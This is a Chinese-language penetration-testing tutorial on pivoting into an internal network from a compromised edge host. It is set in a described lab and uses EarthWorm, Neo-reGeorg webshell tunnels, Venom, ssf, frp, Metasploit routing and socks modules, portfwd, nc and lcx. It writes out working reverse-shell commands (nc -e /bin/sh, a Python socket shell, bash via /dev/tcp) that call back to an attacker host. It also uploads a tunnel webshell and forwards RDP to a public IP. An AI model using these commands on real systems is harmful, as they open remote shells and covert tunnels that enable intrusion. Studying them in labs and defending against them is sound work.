本文首发于先知社区:https://xz.aliyun.com/t/9454
在渗透中拿到一台边缘机器后剩余内网机器不出网的情况很常见,这时我们就需要把内网机器流量转到边缘机器上再进行访问,内网流量转出来的方法很多,在下面就介绍几种常见的方法。
环境介绍
本地环境搭建:
边缘机器:
windows 7
ip:192.168.10.15(外)
192.168.52.143(内)
目标机器:
windows 2008R2
ip:192.168.52.138
攻击机器:
windows 2008
ip:192.168.10.3
kali:
msf5:192.168.10.14
msf6:192.168.10.11
EarthWorm
将ew_for_windows上传到边缘机器
正向连接
适用于目标机器拥有一个外网ip
在win7机器上执行ew -s ssocksd -l 888
监听本机888端口。然后在2008r2机器上使用proxifier进行连接
可以访问内网资源
反向连接
适用于边缘机器无公网ip
攻击机器上执行
1 | ew_for_Win.exe -s rcsocks -l 1080 -e 1234 |
对外1234端口转发到1080端口
然后边缘机器连接
1 | ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234 |
Neo-reGeorg
注:这里需要python环境,在2008R2上弄总是出错,切到物理机进行实验,原理相同
生成文件
1 | python neoreg.py generate -k 123456 |
在neoreg_servers目录下生成了木马文件
这里web机器解析php,所以我上传一个tunnel.php的马到web机器(win7)上
攻击机连接
1 | python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php |
Venom
攻击机器上执行
1 | admin.exe -lport 9999 |
边缘机器(win7)执行
1 | agent.exe -rhost 192.168.10.3 -rport 9999 |
攻击机查看反弹成功
执行命令
1 | goto 1 |
ssf
正向连接
把certs文件夹和ssfd上传到边缘机器
边缘机器开启1333端口
1 | ssfd.exe ‐p 1333 |
攻击机连接边缘机器的1333端口,并将数据转发给1222端口
1 | ssfd.exe ‐D 1222 ‐p 1333 192.168.10.15 |
2008r2出问题,换到物理机上执行
反向连接
攻击机本地监听1234端口,命令如下:
1 | ssfd.exe ‐p 1234 |
边缘机器连接1234端口,并将数据转发到12345端口,命令如下:
1 | ssf.exe ‐F 12345 ‐p 1234 192.168.10.3 |
此处没有实验成功,还是写下步骤
本地socks代理连接127.0.0.1 12345端口
frp
攻击机设置frps.ini
1 | [common] |
在边缘机器设置frpc.ini
1 |
|
执行如下命令:
1 | frpc.exe ‐c frpc.ini |
攻击机查看
监听本地7777端口
msf
msf5
此处需要注意一个问题,新版的msf6已经不带socks4a、socks5这两个模块,使用的是socks_proxy这个模块,这里我用msf5先进行演示
msf5下还是有2个模块
省略掉获取meterpreter的过程,拿到之后background将会话在后台挂起
执行如下命令添加路由
1 | route add 192.168.52.0 255.255.255.0 1 |
这里如果要用socks代理需要先在etc文件夹下的proxychains.conf文件进行配置
先把dynamic_chain打开
在最后添加本地ip和端口
执行如下命令
1 | use auxiliary/server/socks4a |
proxychains配合nmap进行内网扫描
1 | proxychain nmap 192.168.52.138 -sV -sT -p 80 |
进入浏览器配置代理,注意选择socks4代理
访问下内网80端口的iis,成功访问
msf6
下面演示下msf6的操作
发现在msf6下只剩下了socks_proxy这个模块
还是先修改proxychains4.conf这个配置文件
添加路由使用模块同上
这里注意一下,我们在运行之前先show options一下,发现默认是socks5代理运行
如果想使用socks4a代理,添加如下语句即可
1 | set version 4a |
修改浏览器配置
成功访问内网资源
portfwd端口转发
portfwd
是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下
1 | portfwd add -l 3389 -r 192.168.52.138 -p 3389 |
然后我们访问本地3389
1 | rdesktop 127.0.0.1:3389 |
nc
正向连接
需要目标有公网ip
目标机器
1 | nc -lvp 4444 -e /bin/sh linux |
攻击机器
1 | nc <目标机器ip> 4444 |
反向连接
攻击机器监听本地1234端口
1 | nc -lvp 1234 |
目标机器执行
1 | nc <ip> 1234 -e /bin/sh linux |
在一般情况下目标机器是没有nc的,这里可以用其他工具或者编程语言来代替nc
python反向shell
攻击机器:
1 | nc -lvp 2222 |
目标机器:
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
bash反向shell
攻击机器:
1 | nc -lvp 2222 |
目标机器:
1 | bash -i >& /dev/tcp/192.168.10.3/2222 0>&1 |
lcx
目标机器
1 | shell C:\\installs\\lcx.exe -slave 158.247.203.98 4444 127.0.0.1 3389 |
vps
1 | lcx.exe -listen 4444 5555 |